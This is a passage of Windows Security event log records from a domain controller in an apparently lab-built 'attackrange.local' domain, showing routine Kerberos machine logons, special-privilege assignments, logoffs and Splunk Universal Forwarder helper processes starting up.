The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256160
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BEE38

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256159
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BED68
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51268

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256158
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BED68

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256157
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BED1F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256156
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BED1F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256155
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3BEC11
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51267

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256154
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BEC11

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:02:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256153
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256167
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256166
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256168
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256169
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:02:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256170
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3BEE38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256173
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C188B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:02:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256172
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3C188B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51280

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:02:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256171
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3C188B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:03:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256174
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256176
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256175
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x104c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256178
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256177
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1184
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256179
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:03:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256180
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
